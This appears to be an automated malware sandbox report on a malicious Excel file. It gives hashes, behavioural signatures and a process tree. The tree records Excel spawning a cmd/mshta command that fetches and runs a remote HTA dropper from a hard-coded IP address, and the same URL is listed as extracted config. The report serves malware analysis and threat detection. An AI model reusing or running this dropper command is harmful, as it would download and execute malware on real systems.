Overview

overview

10

Static

static

8

tmpbcd9tu04.xls

windows7_x64

10

tmpbcd9tu04.xls

windows10_x64

10

Analysis

  • max time kernel
    150s
  • max time network
    158s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    27/01/2022, 18:42

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    tmpbcd9tu04.xls
  • Size 155KB
  • Sample220127-xcqrdahgd4
  • SHA256 dbd8e5d3849584cc9ee9b5c3165c45bc2a547f60b571b4d3103ea375837e54ac
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language

  • hta

Source
URLs
  • hta.dropper

    http://91.240.118.168/zqqw/zaas/fe.html

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmpbcd9tu04.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3976
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c mshta http://91.240.118.168/zqqw/zaas/fe.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:696
      • C:\Windows\system32\mshta.exe
        mshta http://91.240.118.168/zqqw/zaas/fe.html
        3⤵
        • Blocklisted process makes network request
        PID:2264

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/3976-115-0x00007FFDDAB00000-0x00007FFDDAB10000-memory.dmp
        Download

        memory/3976-116-0x00007FFDDAB00000-0x00007FFDDAB10000-memory.dmp
        Download

        memory/3976-156-0x00007FFDDAB00000-0x00007FFDDAB10000-memory.dmp
        Download